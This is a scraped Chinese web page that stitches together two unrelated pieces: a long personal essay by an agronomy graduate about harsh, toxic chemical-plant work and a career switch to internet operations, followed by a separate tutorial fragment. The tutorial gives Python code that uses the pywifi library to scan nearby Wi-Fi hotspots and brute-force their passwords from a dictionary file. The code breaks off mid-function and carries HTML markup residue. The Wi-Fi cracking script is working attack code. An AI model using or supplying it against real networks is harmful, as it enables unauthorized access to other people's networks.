哇啊啊啊啊啊,UPCSTU脑囊肿是什么情况啊

&p&作为一个转行成功的人,内心的感觉心潮澎湃。我想把自己的亲身经历和大家讲一讲,故事有点长,希望对正在迷茫中的人有一点启发。&/p&&p&&b&90后,16年毕业于某985(top20)农学专业,偏化学方向,准确的说就是天天和农药,化肥打交道(农药毒性有多大,不用我说大家都知道。所以可见我的专业苦逼程度。)&/b&&/p&&p&&b&目前就职于某o2o公司做运营,坐标某国家级软件园。&/b&&/p&&p&本硕均来自同一个学校,专业也很冷门儿,读研的时候一心觉得这个专业挺好的,毕竟是一门技术活,农业在国内也非常受国家的重视,有各种各样的政策扶持,掌握一门关乎吃饭行业的技术,我觉得在社会上无论如何都不会被淘汰掉的,哪怕实验再苦再累我也都忍了。硕士论文做了3年实验,没日没夜的干,真的是历尽了千辛万苦,也被导师逼过,想过要退学,好在历经了重重艰难,拿到了硕士文凭。&/p&&p&&br&&/p&&p&毕业后签了一家国内五百强某大型的控股集团,就像恒大那种,以石化地产,物流能源,农化为主的几万人的一个大集团,对于我这种不求上进的学渣来说,进到这样的公司还是蛮自豪,因为听说公司的待遇很高,硕士进去大概能有这样。&/p&&p&&br&&/p&&p&公司虽然是大型的控股集团,可是总部却在一个某省的三线城市的化学工业园,&b&有多偏僻呢就是你在百度地图上搜这个地点,周围什么都没有,只看到一个红点,这个地方就是你光着屁股跑上半小时都看不到一个人。就这么偏僻。因为集团是以石油化工为主,所以它整个工业园大概能有近千亩地,四周都是荒无人烟的地方,连个村落都没有&/b&&/p&&p&我来报到的第一天离着几公里的地方,我就闻到了一股刺鼻的化工厂原料的味道,特别难闻。新员工在报道要经过三个月的培训培训,去了都要住在公司自己的学校,类似于阿里巴巴的淘宝大学,这样子差不多。因为集团非常大,每年新招来的应届生大概能有五六百,所以培训时间就拉的很长,各种户外拓展,团队拓展,高层授课,企业文化训导各种各样的,当时我觉得还ok啊,大集团对新人这么重视,说明培训机制很到位啊,能学很多东西。&/p&&p&&br&&/p&&p&这个学校也就是在工业园旁边挖了一块地,盖了三层楼,有个操场而已,&b&旁边就是大型的炼化装置(学化工的同学一定知道炼化装置),味道特别难闻,每天早上一起床,空气中就会有一种淡淡的硫化物的味道。报道将近六百人来,持续了2天。很多人来了,看到这个场景马上就走了,经过一星期之后,走了50多个人。&/b&&/p&&p&作为一个研究生可能不会说心气儿多么,哪个学校毕业的,多么多么牛逼怎样。但是真的你看到这样的工作环境,真的是心如死灰,地方偏僻就算了,关键是刺鼻的气味,尤其是女生的一天都待不下去,对身体伤害真的太大。我当时给父母说,我说我先看一下情况吧,坚持一下看看是什么,对吧我说集团里面是几万人的,人家天天都这样子过,对不对?&/p&&p&坚持了三个月,你们知道我第一个月培训期发了多少工资吗?&/p&&h2&整整1400块大洋?你敢信?!&/h2&&p&我不说我学历多么高学校多么好,我好歹一个研究生,培训期,你给我发1400,作为你这么大一个集团你好意思拿的出手吗?我还不如在大街上贴膜摆摊挣的多勒。这直接超出了我的心理底线。那几天心情特别糟糕。&/p&&p&后来我爸说你在培训期又没给公司创造多少价值,能给你开工资就不错了,你还抱怨啥?我听了以后好像他妈的有点道理,我就继续忍吧,培训期第二个月下车间实习,我不知道你们对化工厂的车间是什么感觉,反正我进到化工厂的车间,第一反应就是,我一定要离开这里,这里的环境了真的是特别恶劣,首先车间不是全密封的,就是两三层的装置,然后反应釜插在中间,你冬天进去要被冻死,夏天进去要被热死。任何人任何时候进都是长裤长袖,戴上眼镜,橡皮手套,安全帽,呼吸面具,反正就跟你看到那个核泄漏那种防生化的那种人员一样,而且袖口领口要扎紧,哪怕是夏天40度你也要穿成这样子。&/p&&p&&b&我们去实习的时候就围着装置转了一圈儿,卧槽那个味道他妈的是人受的吗?能把一头牛给熏死,车间里面每个车间跟每隔十米都放一个鸟笼,鸟笼里面放一只鹦鹉,这是干啥的?就是如果鹦鹉突然大叫,要死掉了,那人马上就跑了。因为化学品泄漏了。&/b&&/p&&p&我分在了合成车间,那个车间有&b&氯气,丙酮,甲烷,硫化氢,基本上最毒的气体都在我们这儿,就在反应釜下面,我最想着哪天谁一不注意卧槽,我们这瞬间就没命了。&/b&&/p&&p&然后在二层阁楼里面有一个值班室,那个就是员工休息门的地方我们在车间实习,这一个月大部分都呆在那里,因为我们没有上岗证,最多是围着装置参观一下,然后在这个值班室跟很多员工聊了一下,就是三班倒,一班八小时,一共有三个班来回倒,无论春夏秋冬十二个月都是这样子过来的。化工厂的车间里面,员工清一色的都是附近的村民,大部分都只有小学初中文化。在值班室呆了几天,因为那时候是7月,天气很热,我就发现,所有车间工人不爱说话,进屋就直奔饮水机,水杯灌满,一口气直接干掉。因为穿的很多,那真是汗流浃背。看的都让你觉得这个工人身上毫无朝气,很颓废的感觉。后来交接班的时候,班组之间开会,我发现这个现象更是如此。工人们来开会,满屋子都是汗臭味,夹杂着从车间带来的怪异味道。&/p&&p&我们大概有十个大学生,6个硕士,4个本科分到这个车间了。我们进去第一天就有一个女生说,明天我就辞职,这地方我也呆不下去了。当时我们都特别难受,因为这样的工作环境真的是太恶劣了,直接就超出你的底线。&/p&&p&&b&先不说它多苦多累,苦点累点我能忍受啊,关键是你每天闻着这些刺鼻的味道,你早晚有一天得癌症的!很多老员工说,车间经常出事,死人残疾每个月都有,只不过公司封锁了消息,你们不知道而已。这种气味他们也受不了,但是他们没学历没文化,除了这个其他也没啥能干的。&/b&&/p&&p&因为我们集团是先培训三个月之后再分下各产业公司,所以来车间虽然只是一个月时间,也是会根据你的表现去往下面去分配的,就有很多女生是学文科的,就把他分到车间里面。他对这东西完全没有概念,一看到这种情况马上就跑了,所以说我问了去年来的师兄,就是这个集团,每年招六百个人,我到第二年只剩下不到两百人,最主要的原因就是恶劣的工作环境。&/p&&p&当时一心想辞职,真TM不想在这受这个罪,但是第一父母认为这只是暂时的,这么大的集团它又不傻,把一堆高学历的人丢在车间,人才不都跑了?在一个是公司平台大,可以学习到很多东西,而且当时辞职也没地方可去。所以只能忍耐了。&/p&&p&&br&&/p&&p&&b&在车间一个月,唯一的照片,还是用安全员的防爆手机拍的(车间禁止带手机进入,只能用防爆手机。),你们看我很臃肿,7月份的天我穿了3层衣服,因为没有正式进装置,所以没有按照装置工人那种要求着装,就这后来还被车间主任骂了一顿,写了检讨,被通报批评,原因是,私自进装置不按规定穿戴防护品。&/b&&/p&&p&&br&&/p&&img src=&/v2-b2bce88d88cc_b.png& data-rawwidth=&392& data-rawheight=&255& class=&content_image& width=&392&&&p&&br&&/p&&p&3个月结束了。把我分到了技术部,算是天天做实验好吧,跟这我学校的实验室差不多的环境。&b&你们看到那张照片那个蓝色的罐嘛,那就是反应釜。上面有一个小窗口,就是反应的时候方便观察取样的。我每次取样的时候,我半个身体要探进去釜里面取东西。那个味道简直了!&/b&&/p&&p&&br&&/p&&p&我每天都要穿着白大褂,戴着护目眼镜,戴着呼吸面罩,戴着双层皮手套,做实验,一站就站一天先不说多么累,每天要接触农药原药,对身体的伤害很大,有些时候要取药或者做反应的时候一口气儿没上来,就觉得胸口难受。那段时间,我沉默寡言,有时候一天也不人说一句话。因为工作需要带呼吸面具,说话特费劲。所以就不想说,&b&同时那个时候我有个怪癖,就是每天洗手十几次,做一次实验洗一次,因为太尼玛恶心了,带着双层手套,下班了取下手套手上照样一股味道。那时候每天用洗衣服,汽油洗。真是洗的我都快得皮炎了!&/b&&/p&&p&&br&&/p&&p&我们技术部加上我大概有十二个人吧,我看了看这些人,年龄都比我大,70后80后居多,虽然也是正规大学的科班生,但是在这个部门干了很长时间了,还是一个基层的技术员。当时我就想,这些人为啥不会被提拔呀?是不是没有能力,还是怎么回事儿?&/p&&p&&br&&/p&&p&&b&随着几个月的接触,我就慢慢知道了,不是他们能力的问题,是这个大环境把你给限制死了,你长期处在这样封闭的环境中,接触的就是这样一些人层次不高,等级不高,你对外界的事物一无所知,而且传统行业你两三年不学习,你也不会被淘汰掉,因为他技术革新是很慢的。我们技术部这些人,就是这样被环境给封死了,35岁还是基层员工,每天做做实验,不和外人接触。&/b&&/p&&p&&br&&/p&&p&当时我也是想我到底要不要辞职啊,辞职往哪去呀?我不想这么年纪轻轻的天天待在这么偏僻的化工厂,跟着一帮老家伙们在一起,完全没有共同语言,我不希望我到三十多的时候还拿个三四千的工资干一辈子这种技术员,太苦逼了。可是天下之大又哪有我去的地方?学的这么个垃圾专业,你有啥资格劝你跳槽呀?&/p&&p&&br&&/p&&p&也是偶然的机会在知乎上看到一个帖子,大概题目是年薪百万的,你现在过的什么样的生活这个帖子对我触动很大,当时就想这辈子能不能做到年薪百万。真是沮丧。&/p&&p&也是一次很偶然的机会吧,我在网上看到了一些关于就是转行去做it技术的这些,后来我想了想,我说我的英语跟数学也不行啊,学这些技术没有半年时间,出不了师,而且这玩意自学没有效率,必须得找到培训机构去教你,但是培训机构的学费太贵了,好几万对我来说简直就是天文数字。那时候真的要疯了。&/p&&p&那时候我就想到了之前在学校认识信息学院的一个师兄,他是在美团(没合并前)做运营,一次很偶然的机会,他就给我说你可以去做运营呀,学历要求不高,也不需要什么技术条件,很多转行的都是做这个的。我给你点资料你可以了解下。&/p&&p&他这么一话我才恍然大悟,然后赶紧着手去看,在网易云课堂看一些关于运营的一些事情,当时对这玩意儿也是一头雾水,发现这里面水好深,然后白天上班,晚上就偷偷的学习,大概七点钟回到宿舍,抱起电脑就在这刷公开课,记笔记,大概听到三四个小时。然后白天上班了,就偷偷的把笔记本拿出来,我们这种实验室是不允许带手机的,所以每天就这样打游击,这样的状态大概持续了2个月。基本上每天都会保持3到4个小时的学习,后来更是花了一个月的工资,买了一个付费的公开课,一步一步教我怎么去做,中间把自己的微信微博都慢慢的做了起来,也有了一些成绩,按照人家讲的方法,一步一步学习,去修改简历。&/p&&p&一晃到了17年的元月份,当时我觉得时机成熟了,可以去投一投简历去试一试了,就在网上海投了一下。结果肯定是石沉大海呀,没人搭理你,一个在化工厂工作的人来说,你的这点儿课程对人家没有任何意义,后来只有一个创业公司的老板,跟我联系了,他的团队只有二十多个人,当时我毫不犹豫的就答应了。这对我来说真的是一个千载难逢的机会。&/p&&p&我给父母说,我一定要去尝试,哪怕这次公司干的几天能把我开除了,我也认了,我一定要离开这种偏僻的化工厂,父母也没办法无奈只能支持我,然后我一个人从一个A省跑到B省。就为了一场面试,好在老板也很支持我,认可我。老板说你可以来试一试哦,一个月的考核期,干好了就干,干不好你再走也来得及。那是我想都没想,直接就答应然后,这个公司是在软件园。&/p&&p&&br&&/p&&p&这是一个国家级的软件园,里面有微软,甲骨文,360,百度的分公司,&b&当时被老板认可,给我offer那一瞬间。真的,眼泪都想流出来了。可能对于大部分人来说,坐在办公室里面朝九晚五,写字楼里面工作这是一种常态。可是对于我来说,我之前的工作是在荒无人烟偏僻的化工厂,毒性超大的车间,一群毫无共同语言层次很低的村民。现在让我跟这些360,百度的码农,坐在一栋楼里面办公,这种宽敞的办公室还有整洁的环境,还有一种年轻的氛围,对我来说真的是,超级大的鼓舞&/b&,你们可能真的很难体会和理解,觉得我夸张了。但事实上,这绝对是我内心的真实写照。&/p&&p&说了这么多,就是告诉那些和我一样迷茫,想转行的同学,一定要想好自己想从事什么行业,不是光想想自己的境况不如意,然后就想想又没事了,一定要真切的付出实际行动,往前走,敢想敢做才可以,当环境真的把你逼到那一步的时候,你不得不去面对这些事情。&/p&&p&这次转行也让我深知,选择的重要性,我们年轻人,找工作,选行业,一定要顺应社会大趋势,顺势而为。在风口浪尖上,猪也飞的起来!&/p&&p&&br&&/p&&p&&b&选工作其实就是选行业选趋势!&/b&&/p&&p&&b&决定你人生高度的,不是努力,而是选择!很多时候选择大于努力!&/b&&/p&&p&如果你呆着错误的行业(煤炭、钢铁等传统重工业),你做的一切努力都是错误的。可能有点极端,有点个人主观。但这个观念我现在深信不疑。首先,传统重工业年薪10万算是一个主观甚至是中层了,可是10万放在现在的大趋势行业,如移动互联网,大数据,云计算,互联网金融等。这只是一个初级薪水。其次,传统行业更新慢,迭代慢,你好几年不学习也不会被淘汰。可是在移动互联网时代,你会发现一切都太快了,3天不学习你就被踢出局了!大环境不断逼着你去学习去挑战自我!&/p&&p&&br&&/p&&p&所以,想转行的同学们,你们要考虑清楚!&/p&&p&你是要安逸的呆在舒适区,还是勇敢的跳出来趁着自己年轻出来闯一闯!&/p&&p&&br&&/p&&p&&b&你是要错过后悔?还是要做了后悔?等到35岁平平庸庸的拿着几千块的时候,你会不会后悔当初自己明明可以离开这里,转行出去闯荡,仅仅是因为瞻前顾后的浪费了机会。&/b&&/p&&p&&b&如果你对现状不满,工作不喜欢!就一定要去改变,转行,不要犹豫! &/b&&/p&&p&&b&这一切,都取决于你们内心,取决于你们到底敢不敢成功的卖出第一步&/b&&/p&&p&故事讲完了,或者包含了我很多一家之言,但毕竟是我的亲身经历,感悟很深。自从来到互联网行业,觉得自我认知能力提升了很多,开拓了思维,也真正明白了自己未来的职业生涯如何走下去。&/p&&p&&br&&/p&&h2&
我是分割线&/h2&&p&&br&&/p&&p&&/p&&p&这篇文章是我今年月份写的,现在已经过了半年,这半年来收到了很多小伙伴的私信,再过几天,就是我27岁的生日了。我想和大家来说说转行半年来的感受!&/p&&p&&br&&/p&&p&先说我的研究生同学,大部分还是在一线做销售,做研发,每天不是下地指导农民种地,就是在实验室干活。有个别幸运的去了陶氏,杜邦,拜耳(学化工的同学都知道这3个外企有多牛逼),他们进去了以后我也才明白,原来外企也不是那么好混的。MIT,北大的博士满天飞。&/p&&p&大部分同学混的还是非常惨,倒不是他们能力不行,而是行业天花板太低。发展太受限!&/p&&p&&br&&/p&&p&现在时不时有同学在和我抱怨,不想干了,要转行,可是又不知道做什么。我说,有想法那就先跳出来再说。别拖着了。&/p&&p&&br&&/p&&p&我的前半生一直活在愿望里,一直认为农业是中国的命根,吃饭问题关乎民生大计,掌握一门农业技术永不会错的。转行以后发现自己真是太天真了。不过也很庆幸自己很早的认识到这些。&/p&&p&我最好的兄弟在杜邦,杜邦市场部掌管亚太每年十几亿的销售额,整个部门居然没有一个学农业的(除了我兄弟之外),你敢信?!清一色的市场,营销,财务专业!&/p&&p&&br&&/p&&p&诺普信,田园,史丹利(国内农化巨头)在一些管理层职位上,几乎也是倾向于市场类专业,农学的都不会优先考虑!这就是现实!!&/p&&p&&br&&/p&&p&最后送给想转行,或者化工类迷茫的研究生们几段话,共勉!&/p&&p&&br&&/p&&p&&b&1.认知决定选择,选择决定命运. 在现在互联网时代,认知成为唯一的竞争壁垒。如果你是根据自己的愿望而做出对世界直觉的判断,那对不起你永远只能是普通人。啥叫聪明人?不是智商比人高多少,而是通过他能够认清楚事实,接受事实。&/b&&/p&&p&&b&2.离开学校以前,就应该清楚地意识到,世界很大,变化很快。你在大学里学到的知识,绝对不足以帮助你建立一个广阔的视野。你必须养成随时随地跨界学习的习惯和能力,不断探索那些与自己的专业貌似无关的知识新边疆。&/b&&/p&&p&&b&3.当有两件事摆在你面前,一件你轻松可以上手,一件需要你从头学习摸索,别犹豫,选那件难的。我也不知道为什么,但是每次都是那件更难的事情成就了更大的成果。我所认识的所有高手,都有一种“舍易求难”的本能。 &/b&&/p&&p&&b&刻意练习。就是持续做你不会做的事情,就是持续做你不会做的事情,就是持续做你不会做的事情。&/b&&/p&&p&&br&&/p&&p&今天就先更到这里,以后闲了继续更新。&/p&
作为一个转行成功的人,内心的感觉心潮澎湃。我想把自己的亲身经历和大家讲一讲,故事有点长,希望对正在迷茫中的人有一点启发。90后,16年毕业于某985(top20)农学专业,偏化学方向,准确的说就是天天和农药,化肥打交道(农药毒性有多大,不用我说大家都…
&figure&&img src=&/50/v2-4aff5aa9ea58_b.jpg& data-rawwidth=&1498& data-rawheight=&954& class=&origin_image zh-lightbox-thumb& width=&1498& data-original=&/50/v2-4aff5aa9ea58_r.jpg&&&/figure&&p&上点python有意思的代码。&br&&/p&&h3&&strong&环境准备&/strong&&/h3&&ul&&li&python2.7&/li&&li&&a href=&/?target=https%3A///awkman/pywifi/archive/master.zip& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&pywifi模块&i class=&icon-external&&&/i&&/a&&/li&&li&字典&/li&&li&清除系统中的任何wifi连接记录&/li&&/ul&&h3&&strong&导入模块&/strong&&/h3&&p&这里用的模块就这三个 pywifi的_wifiutil_linux.py脚本的 _send_cmd_to_wpas方法中的if reply != b'OK\n':判断需要修改,不然会有很多的提示信息。&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&from pywifi import *
import time
import sys
&/code&&/pre&&/div&&h3&&strong&字典准备&/strong&&/h3&&p&随机搞的wifi弱口令TOP10&/p&&ol&&li&&/li&&li&&/li&&li&&/li&&li&&/li&&li&&/li&&li&&/li&&li&&/li&&li&&/li&&li&&/li&&li&&/li&&/ol&&h3&&strong&配置扫描器&/strong&&/h3&&p&推荐扫描时常可以设置在15-20秒之间 测试时常则可以自定义,考虑到认证速度于距离的关系,我一般设置在15左右,再久的也没意义 到时候就算破解成功的热点,信号也好不到哪里&/p&&div class=&highlight&&&pre&&code class=&language-python&&&span&&/span&&span class=&k&&def&/span& &span class=&nf&&main&/span&&span class=&p&&():&/span&
&span class=&c1&&#扫描时常&/span&
&span class=&n&&scantimes&/span& &span class=&o&&=&/span& &span class=&mi&&3&/span&
&span class=&c1&&#单个密码测试延迟&/span&
&span class=&n&&testtimes&/span& &span class=&o&&=&/span& &span class=&mi&&15&/span&
&span class=&n&&output&/span& &span class=&o&&=&/span& &span class=&n&&sys&/span&&span class=&o&&.&/span&&span class=&n&&stdout&/span&
&span class=&c1&&#结果文件保存路径&/span&
&span class=&n&&files&/span& &span class=&o&&=&/span& &span class=&s2&&&TestRes.txt&&/span&
&span class=&c1&&#字典列表&/span&
&span class=&n&&keys&/span& &span class=&o&&=&/span& &span class=&nb&&open&/span&&span class=&p&&(&/span&&span class=&n&&sys&/span&&span class=&o&&.&/span&&span class=&n&&argv&/span&&span class=&p&&[&/span&&span class=&mi&&1&/span&&span class=&p&&],&/span&&span class=&s2&&&r&&/span&&span class=&p&&)&/span&&span class=&o&&.&/span&&span class=&n&&readlines&/span&&span class=&p&&()&/span&
&span class=&k&&print&/span& &span class=&s2&&&|KEYS &/span&&span class=&si&&%s&/span&&span class=&s2&&&&/span&&span class=&o&&%&/span&&span class=&p&&(&/span&&span class=&nb&&len&/span&&span class=&p&&(&/span&&span class=&n&&keys&/span&&span class=&p&&))&/span&
&span class=&c1&&#实例化一个pywifi对象&/span&
&span class=&n&&wifi&/span& &span class=&o&&=&/span& &span class=&n&&PyWiFi&/span&&span class=&p&&()&/span&
&span class=&c1&&#选择定一个网卡并赋值于iface&/span&
&span class=&n&&iface&/span& &span class=&o&&=&/span& &span class=&n&&wifi&/span&&span class=&o&&.&/span&&span class=&n&&interfaces&/span&&span class=&p&&()[&/span&&span class=&mi&&0&/span&&span class=&p&&]&/span&
&span class=&c1&&#通过iface进行一个时常为scantimes的扫描并获取附近的热点基础配置&/span&
&span class=&n&&scanres&/span& &span class=&o&&=&/span& &span class=&n&&scans&/span&&span class=&p&&(&/span&&span class=&n&&iface&/span&&span class=&p&&,&/span&&span class=&n&&scantimes&/span&&span class=&p&&)&/span&
&span class=&c1&&#统计附近被发现的热点数量&/span&
&span class=&n&&nums&/span& &span class=&o&&=&/span& &span class=&nb&&len&/span&&span class=&p&&(&/span&&span class=&n&&scanres&/span&&span class=&p&&)&/span&
&span class=&k&&print&/span& &span class=&s2&&&|SCAN GET &/span&&span class=&si&&%s&/span&&span class=&s2&&&&/span&&span class=&o&&%&/span&&span class=&p&&(&/span&&span class=&n&&nums&/span&&span class=&p&&)&/span&
&span class=&k&&print&/span& &span class=&s2&&&&/span&&span class=&si&&%s&/span&&span class=&se&&\n&/span&&span class=&si&&%-*s&/span&&span class=&s2&&| &/span&&span class=&si&&%-*s&/span&&span class=&s2&&| &/span&&span class=&si&&%-*s&/span&&span class=&s2&&| &/span&&span class=&si&&%-*s&/span&&span class=&s2&& | &/span&&span class=&si&&%-*s&/span&&span class=&s2&& | &/span&&span class=&si&&%-*s&/span&&span class=&s2&& &/span&&span class=&si&&%*s&/span&&span class=&s2&& &/span&&span class=&se&&\n&/span&&span class=&si&&%s&/span&&span class=&s2&&&&/span&&span class=&o&&%&/span&&span class=&p&&(&/span&&span class=&s2&&&-&&/span&&span class=&o&&*&/span&&span class=&mi&&70&/span&&span class=&p&&,&/span&&span class=&mi&&6&/span&&span class=&p&&,&/span&&span class=&s2&&&WIFIID&&/span&&span class=&p&&,&/span&&span class=&mi&&18&/span&&span class=&p&&,&/span&&span class=&s2&&&SSID OR BSSID&&/span&&span class=&p&&,&/span&&span class=&mi&&2&/span&&span class=&p&&,&/span&&span class=&s2&&&N&&/span&&span class=&p&&,&/span&&span class=&mi&&4&/span&&span class=&p&&,&/span&&span class=&s2&&&time&&/span&&span class=&p&&,&/span&&span class=&mi&&7&/span&&span class=&p&&,&/span&&span class=&s2&&&signal&&/span&&span class=&p&&,&/span&&span class=&mi&&10&/span&&span class=&p&&,&/span&&span class=&s2&&&KEYNUM&&/span&&span class=&p&&,&/span&&span class=&mi&&10&/span&&span class=&p&&,&/span&&span class=&s2&&&KEY&&/span&&span class=&p&&,&/span&&span class=&s2&&&=&&/span&&span class=&o&&*&/span&&span class=&mi&&70&/span&&span class=&p&&)&/span&
&span class=&c1&&#将每一个热点信息逐一进行测试&/span&
&span class=&k&&for&/span& &span class=&n&&i&/span&&span class=&p&&,&/span&&span class=&n&&x&/span& &span class=&ow&&in&/span& &span class=&nb&&enumerate&/span&&span class=&p&&(&/span&&span class=&n&&scanres&/span&&span class=&p&&):&/span&
&span class=&c1&&#测试完毕后,成功的结果讲存储到files中&/span&
&span class=&n&&res&/span& &span class=&o&&=&/span& &span class=&n&&test&/span&&span class=&p&&(&/span&&span class=&n&&nums&/span&&span class=&o&&-&/span&&span class=&n&&i&/span&&span class=&p&&,&/span&&span class=&n&&iface&/span&&span class=&p&&,&/span&&span class=&n&&x&/span&&span class=&p&&,&/span&&span class=&n&&keys&/span&&span class=&p&&,&/span&&span class=&n&&output&/span&&span class=&p&&,&/span&&span class=&n&&testtimes&/span&&span class=&p&&)&/span&
&span class=&k&&if&/span& &span class=&n&&res&/span&&span class=&p&&:&/span&
&span class=&nb&&open&/span&&span class=&p&&(&/span&&span class=&n&&files&/span&&span class=&p&&,&/span&&span class=&s2&&&a&&/span&&span class=&p&&)&/span&&span class=&o&&.&/span&&span class=&n&&write&/span&&span class=&p&&(&/span&&span class=&n&&res&/span&&span class=&p&&)&/span&
&/code&&/pre&&/div&&h3&&strong&扫描周围热点&/strong&&/h3&&div class=&highlight&&&pre&&code class=&language-python&&&span&&/span&&span class=&k&&def&/span& &span class=&nf&&scans&/span&&span class=&p&&(&/span&&span class=&n&&face&/span&&span class=&p&&,&/span&&span class=&n&&timeout&/span&&span class=&p&&):&/span&
&span class=&c1&&#开始扫描&/span&
&span class=&n&&face&/span&&span class=&o&&.&/span&&span class=&n&&scan&/span&&span class=&p&&()&/span&
&span class=&n&&time&/span&&span class=&o&&.&/span&&span class=&n&&sleep&/span&&span class=&p&&(&/span&&span class=&n&&timeout&/span&&span class=&p&&)&/span&
&span class=&c1&&#在若干秒后获取扫描结果&/span&
&span class=&k&&return&/span& &span class=&n&&face&/span&&span class=&o&&.&/span&&span class=&n&&scan_results&/span&&span class=&p&&()&/span&
&/code&&/pre&&/div&&h3&&strong&热点测试&/strong&&/h3&&p&这里后续推荐将扫描过程数据入库,防止重复扫描,且更加直观。&/p&&div class=&highlight&&&pre&&code class=&language-python&&&span&&/span&&span class=&k&&def&/span& &span class=&nf&&test&/span&&span class=&p&&(&/span&&span class=&n&&i&/span&&span class=&p&&,&/span&&span class=&n&&face&/span&&span class=&p&&,&/span&&span class=&n&&x&/span&&span class=&p&&,&/span&&span class=&n&&key&/span&&span class=&p&&,&/span&&span class=&n&&stu&/span&&span class=&p&&,&/span&&span class=&n&&ts&/span&&span class=&p&&):&/span&
&span class=&c1&&#显示对应网络名称,考虑到部分中文名啧显示bssid&/span&
&span class=&n&&showID&/span& &span class=&o&&=&/span& &span class=&n&&x&/span&&span class=&o&&.&/span&&span class=&n&&bssid&/span& &span class=&k&&if&/span& &span class=&nb&&len&/span&&span class=&p&&(&/span&&span class=&n&&x&/span&&span class=&o&&.&/span&&span class=&n&&ssid&/span&&span class=&p&&)&/span&&span class=&o&&&&/span&&span class=&nb&&len&/span&&span class=&p&&(&/span&&span class=&n&&x&/span&&span class=&o&&.&/span&&span class=&n&&bssid&/span&&span class=&p&&)&/span& &span class=&k&&else&/span& &span class=&n&&x&/span&&span class=&o&&.&/span&&span class=&n&&ssid&/span&
&span class=&c1&&#迭代字典并进行爆破&/span&
&span class=&k&&for&/span& &span class=&n&&n&/span&&span class=&p&&,&/span&&span class=&n&&k&/span& &span class=&ow&&in&/span& &span class=&nb&&enumerate&/span&&span class=&p&&(&/span&&span class=&n&&key&/span&&span class=&p&&):&/span&
&span class=&n&&x&/span&&span class=&o&&.&/span&&span class=&n&&key&/span& &span class=&o&&=&/span& &span class=&n&&k&/span&&span class=&o&&.&/span&&span class=&n&&strip&/span&&span class=&p&&()&/span&
&span class=&c1&&#移除所有热点配置&/span&
&span class=&n&&face&/span&&span class=&o&&.&/span&&span class=&n&&remove_all_network_profiles&/span&&span class=&p&&()&/span&
&span class=&c1&&#讲封装好的目标尝试连接&/span&
&span class=&n&&face&/span&&span class=&o&&.&/span&&span class=&n&&connect&/span&&span class=&p&&(&/span&&span class=&n&&face&/span&&span class=&o&&.&/span&&span class=&n&&add_network_profile&/span&&span class=&p&&(&/span&&span class=&n&&x&/span&&span class=&p&&))&/span&
&span class=&c1&&#初始化状态码,考虑到用0会发生些逻辑错误&/span&
&span class=&n&&code&/span& &span class=&o&&=&/span& &span class=&mi&&10&/span&
&span class=&n&&t1&/span& &span class=&o&&=&/span& &span class=&n&&time&/span&&span class=&o&&.&/span&&span class=&n&&time&/span&&span class=&p&&()&/span&
&span class=&c1&&#循环刷新状态,如果置为0则密码错误,如超时则进行下一个&/span&
&span class=&k&&while&/span& &span class=&n&&code&/span&&span class=&o&&!=&/span&&span class=&mi&&0&/span& &span class=&p&&:&/span&
&span class=&n&&time&/span&&span class=&o&&.&/span&&span class=&n&&sleep&/span&&span class=&p&&(&/span&&span class=&mf&&0.1&/span&&span class=&p&&)&/span&
&span class=&n&&code&/span& &span class=&o&&=&/span& &span class=&n&&face&/span&&span class=&o&&.&/span&&span class=&n&&status&/span&&span class=&p&&()&/span&
&span class=&n&&now&/span& &span class=&o&&=&/span& &span class=&n&&time&/span&&span class=&o&&.&/span&&span class=&n&&time&/span&&span class=&p&&()&/span&&span class=&o&&-&/span&&span class=&n&&t1&/span&
&span class=&k&&if&/span& &span class=&n&&now&/span&&span class=&o&&&&/span&&span class=&n&&ts&/span&&span class=&p&&:&/span&
&span class=&k&&break&/span&
&span class=&n&&stu&/span&&span class=&o&&.&/span&&span class=&n&&write&/span&&span class=&p&&(&/span&&span class=&s2&&&&/span&&span class=&se&&\r&/span&&span class=&si&&%-*s&/span&&span class=&s2&&| &/span&&span class=&si&&%-*s&/span&&span class=&s2&&| &/span&&span class=&si&&%s&/span&&span class=&s2&& |&/span&&span class=&si&&%*.2f&/span&&span class=&s2&&s| &/span&&span class=&si&&%-*s&/span&&span class=&s2&& |
&/span&&span class=&si&&%-*s&/span&&span class=&s2&& &/span&&span class=&si&&%*s&/span&&span class=&s2&&&&/span&&span class=&o&&%&/span&&span class=&p&&(&/span&&span class=&mi&&6&/span&&span class=&p&&,&/span&&span class=&n&&i&/span&&span class=&p&&,&/span&&span class=&mi&&18&/span&&span class=&p&&,&/span&&span class=&n&&showID&/span&&span class=&p&&,&/span&&span class=&n&&code&/span&&span class=&p&&,&/span&&span class=&mi&&5&/span&&span class=&p&&,&/span&&span class=&n&&now&/span&&span class=&p&&,&/span&&span class=&mi&&7&/span&&span class=&p&&,&/span&&span class=&n&&x&/span&&span class=&o&&.&/span&&span class=&n&&signal&/span&&span class=&p&&,&/span&&span class=&mi&&10&/span&&span class=&p&&,&/span&&span class=&nb&&len&/span&&span class=&p&&(&/span&&span class=&n&&key&/span&&span class=&p&&)&/span&&span class=&o&&-&/span&&span class=&n&&n&/span&&span class=&p&&,&/span&&span class=&mi&&10&/span&&span class=&p&&,&/span&&span class=&n&&k&/span&&span class=&o&&.&/span&&span class=&n&&replace&/span&&span class=&p&&(&/span&&span class=&s2&&&&/span&&span class=&se&&\n&/span&&span class=&s2&&&&/span&&span class=&p&&,&/span&&span class=&s2&&&&&/span&&span class=&p&&)))&/span&
&span class=&n&&stu&/span&&span class=&o&&.&/span&&span class=&n&&flush&/span&&span class=&p&&()&/span&
&span class=&k&&if&/span& &span class=&n&&code&/span& &span class=&o&&==&/span& &span class=&mi&&4&/span&&span class=&p&&:&/span&
&span class=&n&&face&/span&&span class=&o&&.&/span&&span class=&n&&disconnect&/span&&span class=&p&&()&/span&
&span class=&k&&return&/span& &span class=&s2&&&&/span&&span class=&si&&%-*s&/span&&span class=&s2&&| &/span&&span class=&si&&%s&/span&&span class=&s2&& | &/span&&span class=&si&&%*s&/span&&span class=&s2&& |&/span&&span class=&si&&%*s&/span&&span class=&se&&\n&/span&&span class=&s2&&&&/span&&span class=&o&&%&/span&&span class=&p&&(&/span&&span class=&mi&&20&/span&&span class=&p&&,&/span&&span class=&n&&x&/span&&span class=&o&&.&/span&&span class=&n&&ssid&/span&&span class=&p&&,&/span&&span class=&n&&x&/span&&span class=&o&&.&/span&&span class=&n&&bssid&/span&&span class=&p&&,&/span&&span class=&mi&&3&/span&&span class=&p&&,&/span&&span class=&n&&x&/span&&span class=&o&&.&/span&&span class=&n&&signal&/span&&span 